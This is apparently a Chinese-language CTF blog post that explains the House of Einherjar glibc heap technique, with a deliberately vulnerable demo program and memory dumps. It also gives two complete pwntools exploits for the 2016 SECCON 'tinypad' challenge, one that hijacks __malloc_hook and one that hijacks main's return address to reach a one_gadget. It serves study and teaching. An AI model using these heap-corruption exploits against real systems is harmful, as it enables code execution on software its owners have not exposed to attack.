House Of Einherjar

介绍

house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk。其主要在于滥用 free 中的后向合并操作即合并低地址的 chunk,从而使得尽可能避免碎片化。

此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位

原理

后向合并操作
free 函数中的后向合并核心操作如下

  /* consolidate backward 低地址合并 */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;  //物理相邻前一个chunk 大小
      size += prevsize;  //计算合并后的总size
      p = chunk_at_offset(p, -((long) prevsize));  //更新chunk 指针为低地址chunk的指针
      unlink(av, p, bck, fwd);  //对低地址chunk执行unlink
    }

这里借用原作者的一张图片说明:

利用原理

这里我们就介绍该利用的原理。首先,在之前的堆的介绍中,我们可以知道以下的知识

  • 两个物理相邻的 chunk 会共享 prev_size字段,尤其是当低地址的 chunk 处于使用状态时,高地址的 chunk 的该字段便可以被低地址的 chunk 使用。因此,我们有希望可以通过写低地址 chunk 覆盖高地址 chunk 的 prev_size 字段。
  • 一个 chunk PREV_INUSE 位标记了其物理相邻的低地址 chunk 的使用状态,而且该位是和 prev_size 物理相邻的
  • 后向合并时,新的 chunk 的位置取决于 chunk_at_offset(p, -((long) prevsize)) 。
    那么如果我们可以同时控制一个 chunk prev_size 与 PREV_INUSE 字段,那么我们就可以将新的 chunk 指向几乎任何位置

利用过程

溢出前

假设溢出前的状态如下

溢出

这里我们假设 p0 堆块一方面可以写 prev_size 字段,另一方面,存在 off by one 的漏洞,可以写下一个 chunk 的 PREV_INUSE 部分,那么

溢出后

假设我们将 p1 的 prev_size 字段设置为我们想要的目的 chunk 位置与 p1 的差值。在溢出后,我们释放 p1,则我们所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize)) 就是我们想要的 chunk 位置了。

当然,需要注意的是,由于这里会对新的 chunk 进行 unlink ,因此需要确保在*对应 chunk 位置构造好了 fake chunk *以便于绕过 unlink 的检测。

unlink检查:注意伪造好fake_chunk

/*由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。*/
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
      ......
      ....
/*检查:要求fd->bk=p,以及bk->fd=p,两边指中间*/
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                      \      

攻击过程示例

可以进行 House Of Einherjar 攻击的代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char* s0 = malloc(0x200); //构造fake chunk
    char* s1 = malloc(0x18);
    char* s2 = malloc(0xf0); 
    char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
    printf("begin\n");
    printf("%p\n", s0);
    printf("input s0\n");
    read(0, s0, 0x200); //读入fake chunk
    printf("input s1\n");
    read(0, s1, 0x19); //Off By One
    free(s2);
    return 0;
}

攻击代码如下:

from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size 绕过if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

payload填充完后:

0x2068000:    0x0000000000000000    0x0000000000000211   <=====malloc(0x200)
0x2068010:    0x0000000000000000    0x0000000000000101   <=====fake_chunk_starts
0x2068020:    0x0000000002068010    0x0000000002068010
0x2068030:    0x4141414141414141    0x4141414141414141
0x2068040:    0x4141414141414141    0x4141414141414141
0x2068050:    0x4141414141414141    0x4141414141414141
0x2068060:    0x4141414141414141    0x4141414141414141
0x2068070:    0x4141414141414141    0x4141414141414141
0x2068080:    0x4141414141414141    0x4141414141414141
0x2068090:    0x4141414141414141    0x4141414141414141
0x20680a0:    0x4141414141414141    0x4141414141414141
0x20680b0:    0x4141414141414141    0x4141414141414141
0x20680c0:    0x4141414141414141    0x4141414141414141
0x20680d0:    0x4141414141414141    0x4141414141414141
0x20680e0:    0x4141414141414141    0x4141414141414141
0x20680f0:    0x4141414141414141    0x4141414141414141
pwndbg> 
0x2068100:    0x4141414141414141    0x4141414141414141
0x2068110:    0x0000000000000100    0x000000000000000a  <=====fake_chunk_ends   fake_size
0x2068120:    0x0000000000000000    0x0000000000000000
0x2068130:    0x0000000000000000    0x0000000000000000
0x2068140:    0x0000000000000000    0x0000000000000000
0x2068150:    0x0000000000000000    0x0000000000000000
0x2068160:    0x0000000000000000    0x0000000000000000
0x2068170:    0x0000000000000000    0x0000000000000000
0x2068180:    0x0000000000000000    0x0000000000000000
0x2068190:    0x0000000000000000    0x0000000000000000
0x20681a0:    0x0000000000000000    0x0000000000000000
0x20681b0:    0x0000000000000000    0x0000000000000000
0x20681c0:    0x0000000000000000    0x0000000000000000
0x20681d0:    0x0000000000000000    0x0000000000000000
0x20681e0:    0x0000000000000000    0x0000000000000000
0x20681f0:    0x0000000000000000    0x0000000000000000
pwndbg> 
0x2068200:    0x0000000000000000    0x0000000000000000
0x2068210:    0x0000000000000000    0x0000000000000021  <=====malloc(0x18)
0x2068220:    0x4141414141414141    0x4141414141414141
0x2068230:    0x0000000000000220    0x0000000000000100  <=====malloc(0xf0)
0x2068240:    0x0000000000000000    0x0000000000000000
0x2068250:    0x0000000000000000    0x0000000000000000
0x2068260:    0x0000000000000000    0x0000000000000000
0x2068270:    0x0000000000000000    0x0000000000000000
0x2068280:    0x0000000000000000    0x0000000000000000
0x2068290:    0x0000000000000000    0x0000000000000000
0x20682a0:    0x0000000000000000    0x0000000000000000
0x20682b0:    0x0000000000000000    0x0000000000000000
0x20682c0:    0x0000000000000000    0x0000000000000000
0x20682d0:    0x0000000000000000    0x0000000000000000
0x20682e0:    0x0000000000000000    0x0000000000000000
0x20682f0:    0x0000000000000000    0x0000000000000000
pwndbg> 
0x2068300:    0x0000000000000000    0x0000000000000000
0x2068310:    0x0000000000000000    0x0000000000000000
0x2068320:    0x0000000000000000    0x0000000000000000
0x2068330:    0x0000000000000000    0x0000000000000031  <=====malloc(0x20)
0x2068340:    0x0000000000000000    0x0000000000000000
0x2068350:    0x0000000000000000    0x0000000000000000
0x2068360:    0x0000000000000000    0x0000000000000411
0x2068370:    0x3073207475706e69    0x0000000000000a0a

注意这里绕过unlink第二个检查的方式:

p->fd = p
p->bk = p
unlink:
    FD = p->fd == p
    BK = p->bk == p
    checking:
        (FD->bk == p->bk == p) =? p
        (BK->fd == p->fd == p) =? p  #显然成立
    exchange:
        FD->bk == p->bk = BK == p  
        BK->fd == p->fd = FD == p #啥也没变通过检查

这里还需要注意一个点:

payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0  

其实修改为下面这样也是可以的:

payload = p64(0) + p64(0x221) + p64(address) * 2 + "A"*0xe0

第一种方式为了绕过unlink第一种检查,需要在后面加一个p64(0x100)作为fake_prev_size
而第二种方式,在malloc(0xf0)中的prev_size就已经伪造好了,所以不需要p64(0x100)

总结

这里我们总结下这个利用技术需要注意的地方

  • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
  • 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏heap地址。
  • 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

2016 Seccon tinypad

checksec

[*] '/home/matrix/PWN/how2heap/wiki_heap/House_OF/tinypad'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE关闭

IDA

程序的读取函数:

unsigned __int64 __fastcall offnull(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
  int v4; // [rsp+Ch] [rbp-34h]
  unsigned __int64 i; // [rsp+28h] [rbp-18h]
  signed __int64 v6; // [rsp+30h] [rbp-10h]

  v4 = a3;
  for ( i = 0LL; i < a2; ++i )
  {
    v6 = read_n(0, a1 + i, 1uLL);   <======read_n函数要求读满n个字节,除非EOF,在这里没多大影响
    if ( v6 < 0 )
      return -1LL;
    if ( !v6 || *(char *)(a1 + i) == v4 )
      break;
  }
  *(_BYTE *)(a1 + i) = 0;             <===========显然在我们输入完数据后会在字符串末尾添加\x00  off-by-null
  if ( i == a2 && *(_BYTE *)(a2 - 1 + a1) != 10 )
    dummyinput(v4);      <=======处理多余的输入
  return i;
}

add函数:

        *(_QWORD *)&tinypad[16 * (index + 16LL)] = v5;             //chunk的ptr和size都记录在bss段上
        *(_QWORD *)&tinypad[16 * (index + 16LL) + 8] = malloc(size);
        if ( !*(_QWORD *)&tinypad[16 * (index + 16LL) + 8] )
        {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
        }
        write_n((__int64)"(CONTENT)>>> ", 13LL);
        offnull(*(_QWORD *)&tinypad[16 * (index + 16LL) + 8], size, 0xAu);  //漏洞off-by-null
        writeln((__int64)"\nAdded.", 7LL);

show函数:

     write_n((__int64)" # CONTENT: ", 12LL);
      if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )
      {
          /*获取chunk对应的size后输出,泄露点*/
        length = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);
        writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], length);// leak
      }
      writeln((__int64)&unk_4019F0, 1LL);

edit函数:

       if ( *(_QWORD *)&tinypad[16 * (index - 1 + 16LL)] )// if(size)
        {
          c = 48;
          strcpy(tinypad, *(const char **)&tinypad[16 * (index - 1 + 16LL) + 8]);// strcpy(tinypad,chunk),复制后会添上\x00
          while ( toupper(c) != 'Y' )
          {
            write_n((__int64)"CONTENT: ", 9LL);
            v6 = strlen(tinypad);
            writeln((__int64)tinypad, v6);
            write_n((__int64)"(CONTENT)>>> ", 13LL);
            length_1 = strlen(*(const char **)&tinypad[16 * (index - 1 + 16LL) + 8]);  //获取chunk中字符串的length
            offnull((__int64)tinypad, length_1, 0xAu); //覆盖到bss段 
            writeln((__int64)"Is it OK?", 9LL);
            write_n((__int64)"(Y/n)>>> ", 9LL);
            offnull((__int64)&c, 1uLL, 0xAu);
          }
          strcpy(*(char **)&tinypad[16 * (index - 1 + 16LL) + 8], tinypad); //复制回chunk一定也会带上\x00
          writeln((__int64)"\nEdited.", 8LL);

delete函数:

  • 先检查对应chunk的bss_size是否存在
  • free,但是指针未置零,结合show函数形成UAF漏洞

数据结构:

思路

  • 利用UAF泄露堆基址和libc地址
  • 利用HOE获取一个大chunk,修改大chunk中的free fastbins chunk的fd指针到__malloc_hook附近
  • malloc获取_hook_chunk填入one_gadget

EXP

由于这里最多可以申请4个chunk,而且集有fastbin_chunk又有smallbin_chunk所以必须先想好申请步骤,不然会遇到很多问题:合并,unsortedbin遍历之类的

泄露基址

add(0x90,'A'*8)#1 这里申请malloc(0x60)是为了以后获取_hook_chunk,
add(0x60,'B'*8)#2 而且这里用smallchunk,fastchunk,smallchunk,fastchunk
add(0xf0,'A'*8)#3 来防止前期操作时chunk合并
add(0x60,'C'*8)#4
#构成链表,获取堆地址,bins地址
delete(1)
delete(2)
delete(3)
delete(4)

这样index4和index3或index1就可利用UAF泄露地址

HOE

self_addr = heap_base + 0x10
fake_chunk = p64(0) + p64(0x101) #head
fake_chunk += p64(self_addr)*2
add(0x90,fake_chunk) #1

add(0xf0,'C'*0x10) #2

payload = 'A'*0x60
payload += p64(0x100)
add(0x68,'A'*8) #3
add(0x68,payload) #4

#gdb.attach(sh,'b*0x0000000000400C12') #free
delete(2) #overlapping

示意图:

删除2即可overlap

_hook_chunk

fake_hook_addr = libc_addr + 0x3c4aed
delete(4)  #delete中间的fastchunk即可利用大chunk修改其fd指针
payload = 'A'*0x88 + p64(0x71)
payload += p64(fake_hook_addr) #fake_fd
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,payload)
....
...
#获取_hook_chunk:
delete(2)#由于HOE利用#1和#2chunk都在0xa0,如果这里delete(1)会因为#4是个freechunk发生unlink而出错
add(0x60,'A'*8)                
payload = 'A'*0x13 + p64(one_gad[2] + libc_addr)
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x60,payload)

EXP

#+++++++++++++++++++tinypad.py++++++++++++++++++++
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: Sun Oct 25 22:13:57 CST 2020
#+++++++++++++++++++tinypad.py++++++++++++++++++++
from pwn import*

#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./tinypad')
libc = ELF('./libc.so.6')
# libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def add(size,cont):
    sh.sendlineafter('(CMD)>>> ','a')
    sh.sendlineafter('(SIZE)>>> ',str(size))
    sh.sendlineafter('(CONTENT)>>> ',str(cont))

def delete(index):
    sh.sendlineafter('(CMD)>>> ','d')
    sh.sendlineafter('(INDEX)>>> ',str(index))

def edit(index,cont):
    sh.sendlineafter('(CMD)>>> ','e')    
    sh.sendlineafter('(INDEX)>>> ',str(index))
    sh.sendlineafter('(CONTENT)>>> ',str(cont))
    sh.sendlineafter('(Y/n)>>> ','y')

def quit():
    sh.sendlineafter('(CMD)>>> ','q')

def get_addr(index):
    sh.recvuntil('INDEX: ' + str(index)) 
    sh.recvuntil('CONTENT: ')
    add = u64(sh.recvuntil('\n',drop=1).ljust(8,'\x00'))
    return add

sh = process('./tinypad')
#sh = remote('ip',port)

add(0x90,'A'*8)
add(0x60,'B'*8)
add(0xf0,'A'*8)
add(0x60,'C'*8)

delete(1)
delete(2)
delete(3)
delete(4)
libc_addr = get_addr(1) - 0x3c4b78
log.success("libc_addr=====>"+str(hex(libc_addr)))
heap_base = get_addr(4) - 0xa0
log.success("heap_base=====>"+str(hex(heap_base)))

#gdb.attach(sh)
self_addr = heap_base + 0x10
fake_chunk = p64(0) + p64(0x101) #head
fake_chunk += p64(self_addr)*2
add(0x90,fake_chunk) #1

add(0xf0,'C'*0x10) #2

payload = 'A'*0x60
payload += p64(0x100)
add(0x68,'A'*8) #3
add(0x68,payload) #4

#gdb.attach(sh,'b*0x0000000000400C12') #free
delete(2) #overlapping

fake_hook_addr = libc_addr + 0x3c4aed
delete(4)
payload = 'A'*0x88 + p64(0x71)
payload += p64(fake_hook_addr)
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,payload)

one_gad = [0x45226,0x4527a,0xf0364,0xf1207]
gdb.attach(sh,'b*0x0000000000400C12')
delete(2)
add(0x60,'A'*8)
payload = 'A'*0x13 + p64(one_gad[2] + libc_addr)
#gdb.attach(sh,'b*0x0000000000400B55')
add(0x60,payload)

delete(3)

sh.interactive()

法二—利用main函数的ret地址

要注意和chunk extend的向低地址合并区分开,因为这里的目标chunk地址可以是任意的,而在chunk extend中的向低地址合并就需要低地址chunk是freechunk

泄露堆基址,libc地址

add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
#gdb.attach(p,'b*0x0000000000400C12') #free
delete(3)    
delete(1)
.....
...
delete(2) #还原
delete(4)

这里直接用unsortedbin chunk构成双向链表,既可以泄露堆基址,又可以泄露libc地址,然后由于都是smallchunk不需要担心其他问题。

在bss段上设置fake_chunk

让我们可以分配到可以控制chunk指针的chunk区域
add(0x18,'A'*0x18) #1
add(0x100,'B'*0x90) #2
add(0x100,'C'*0x90) #3
add(0x100,'D'*0x90) #4 不能0x100否则在strcpy时会覆盖掉在0x100处的信息

tinypad = 0x602040
offset = heap_base + 0x20 - (tinypad + 0x30)
fake_chunk = p64(0) + p64(0x111) + p64(tinypad + 0x30)*2 #构造
edit(3,'D'*0x30 + fake_chunk) #set_on_bss_fake_chunk

HOE Attack

目标是通过#1的off-by-null,影响#2,用#2来触发attack

null_numbers = 8 - len(p64(offset).strip('\x00')) 
for i in range(null_numbers+1): #cover #_2`s prev_size and off-by -null its size
        data = 'A'*0x10 + p64(offset).strip('\x00').rjust(8-i,'A')
        edit(1,data)

delete(2) #attack
edit(4,'A'*0x30 + p64(0) + p64(0x111) + p64(libc_addr+0x39bb78)*2)#reset unsortedbin chunk 

这里由于strcpy遇到\x00截断的原因,我们想把p64(offset)写入chunk1就需要多次循环写入,从高地址逐步覆盖为\x00
还有就是由于在HOE attack生效后一般fake_chunk的size会很大,以防万一,这里把他改为0x111,同时保持链表结构

environ_pointer

由于main函数也是由其初始化函数调用而执行,所以他也有返回地址,在main_rbp + 0x8出和其他函数调用的返回地址一致。在libc 中存储了 main 函数 environ 指针的地址,所以我们可以先泄露出 environ 的地址,然后在得知存储 main 函数的返回地址的地址

environ_pointer = libc_addr + libc.symbols['__environ']

#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,'A'*0xc0 + p64(0x18) + p64(environ_pointer) + 'A'*8 + p64(0x602148))
data:
    pwndbg> x/8gx 0x602040 +0x100
0x602140 <tinypad+256>:    0x0000000000000018    0x00007ffc87509958  <=======泄露
0x602150 <tinypad+272>:    0x4141414141414141    0x0000000000602148  <=======准备再次写入
0x602160 <tinypad+288>:    0x0000000000000100    0x0000000001866140
0x602170 <tinypad+304>:    0x0000000000000100    0x0000000001866250

还有一个比较重要的就是:一般函数返回地址都是stack数据以0x7f开头其字符长度与libc中函数地址长度一致,所以在edit函数中就可以完整覆盖返回地址

    0x7f565e105000     0x7f565e29c000 r-xp   197000 0      /glibc/x64/2.23/lib/libc-2.23.so   <================libc 代码段
    0x7f565e29c000     0x7f565e49c000 ---p   200000 197000 /glibc/x64/2.23/lib/libc-2.23.so
    0x7f565e49c000     0x7f565e4a0000 r--p     4000 197000 /glibc/x64/2.23/lib/libc-2.23.so
    0x7f565e4a0000     0x7f565e4a2000 rw-p     2000 19b000 /glibc/x64/2.23/lib/libc-2.23.so
    0x7f565e4a2000     0x7f565e4a6000 rw-p     4000 0      
    0x7f565e4a6000     0x7f565e4c9000 r-xp    23000 0      /glibc/x64/2.23/lib/ld-2.23.so
    0x7f565e6c3000     0x7f565e6c6000 rw-p     3000 0      
    0x7f565e6c7000     0x7f565e6c8000 rw-p     1000 0      
    0x7f565e6c8000     0x7f565e6c9000 r--p     1000 22000  /glibc/x64/2.23/lib/ld-2.23.so
    0x7f565e6c9000     0x7f565e6ca000 rw-p     1000 23000  /glibc/x64/2.23/lib/ld-2.23.so
    0x7f565e6ca000     0x7f565e6cb000 rw-p     1000 0      
    0x7ffc874ea000     0x7ffc8750b000 rw-p    21000 0      [stack]                          <====================stack段
    0x7ffc8757c000     0x7ffc8757f000 r--p     3000 0      [vvar]
    0x7ffc8757f000     0x7ffc87581000 r-xp     2000 0      [vdso]

篡改main_ret

edit(2,p64(main_ret_addr))  <=====对应上面的p64(0x602148)
edit(1,p64(one_gadget))  <======覆盖main_ret为onegadget
#gdb.attach(sh,'b*0x000000000400E44')
quit()

EXP

#+++++++++++++++++++tinypad_2.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: 2020.10.26 22.25.54
#+++++++++++++++++++tinypad_2.py++++++++++++++++++++
from pwn import*

#context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./tinypad')
libc = ELF('/glibc/x64/2.23/lib/libc-2.23.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def add(size,cont):
    sh.sendlineafter('(CMD)>>> ','a')
    sh.sendlineafter('(SIZE)>>> ',str(size))
    sh.sendlineafter('(CONTENT)>>> ',str(cont))

def delete(index):
    sh.sendlineafter('(CMD)>>> ','d')
    sh.sendlineafter('(INDEX)>>> ',str(index))

def edit(index,cont):
    sh.sendlineafter('(CMD)>>> ','e')    
    sh.sendlineafter('(INDEX)>>> ',str(index))
    sh.sendlineafter('(CONTENT)>>> ',str(cont))
    sh.sendlineafter('(Y/n)>>> ','y')

def quit():
    sh.sendlineafter('(CMD)>>> ','q')

def get_addr(index):
    sh.recvuntil('INDEX: ' + str(index)) 
    sh.recvuntil('CONTENT: ')
    add = u64(sh.recvuntil('\n',drop=1).ljust(8,'\x00'))
    return add
def show_addr(name,addr):
        log.success('The_Addr_of:' +str(name) +"======>" + str(hex(addr)))

sh = process('./tinypad')
#sh = remote('ip',port)

add(0x80,"A"*0x8)
add(0x80,"B"*0x8)
add(0x80,"C"*0x8)
add(0x80,"D"*0x8)

#1====>3=====>libc
delete(3)
delete(1)

heap_base = get_addr(1) - 0x120
libc_addr = get_addr(3) - 0x39bb78
show_addr("libc_addr",libc_addr)
show_addr("heap_base",heap_base)
#reset
delete(2)
delete(4)

add(0x18,'A'*0x18) #1
add(0x100,'B'*0x90) #2
add(0x100,'C'*0x90) #3
add(0x100,'D'*0x90) #4

tinypad = 0x602040
offset = heap_base + 0x20 - (tinypad + 0x30)
fake_chunk = p64(0) + p64(0x111) + p64(tinypad + 0x30)*2
edit(3,'D'*0x30 + fake_chunk) #set_on_bss_fake_chunk

null_numbers = 8 - len(p64(offset).strip('\x00')) 
for i in range(null_numbers+1): #cover #_2`s prev_size and off-by -null its size
    data = 'A'*0x10 + p64(offset).strip('\x00').rjust(8-i,'A')
    edit(1,data)

delete(2) #attack
#gdb.attach(sh,'b*0x0000000000400D03')
edit(4,'A'*0x30 + p64(0) + p64(0x111) + p64(libc_addr+0x39bb78)*2)
#reset unsortedbin chunk 
#gdb.attach(sh)
onegad = [0x3f3e6,0x3f43a,0xd5c07]
one_gadget = libc_addr + onegad[0]
environ_pointer = libc_addr + libc.symbols['__environ']

#gdb.attach(sh,'b*0x0000000000400B55')
add(0x100,'A'*0xc0 + p64(0x18) + p64(environ_pointer) + 'A'*8 + p64(0x602148))
main_ret_addr =  get_addr(1) - 0xf0
show_addr("main_ret_addr",main_ret_addr)

edit(2,p64(main_ret_addr))
edit(1,p64(one_gadget))
gdb.attach(sh,'b*0x000000000400E44')
quit()

sh.interactive()

参考:https://bbs.pediy.com/thread-226119.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_einherjar-zh/#2016-seccon-tinypad


  转载请注明: Squarer House Of Einherjar

 上一篇
IIO_FILE 漏洞利用 IIO_FILE 漏洞利用
伪造vtable–2.23在glibc2.23中虽然vtable所在的libc段不可写,但是没有像2.24那样加入对vtable的检查机制,所以利用也不是很难。在2.23版本下用任意写环境对vtable表进行攻击已经不不适用了,所以只能采取
2020-11-04
下一篇 
2019--HuXaing--note 2019--HuXaing--note
checksec[*] '/home/matrix/PWN/note' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary fo
2020-10-25
  目录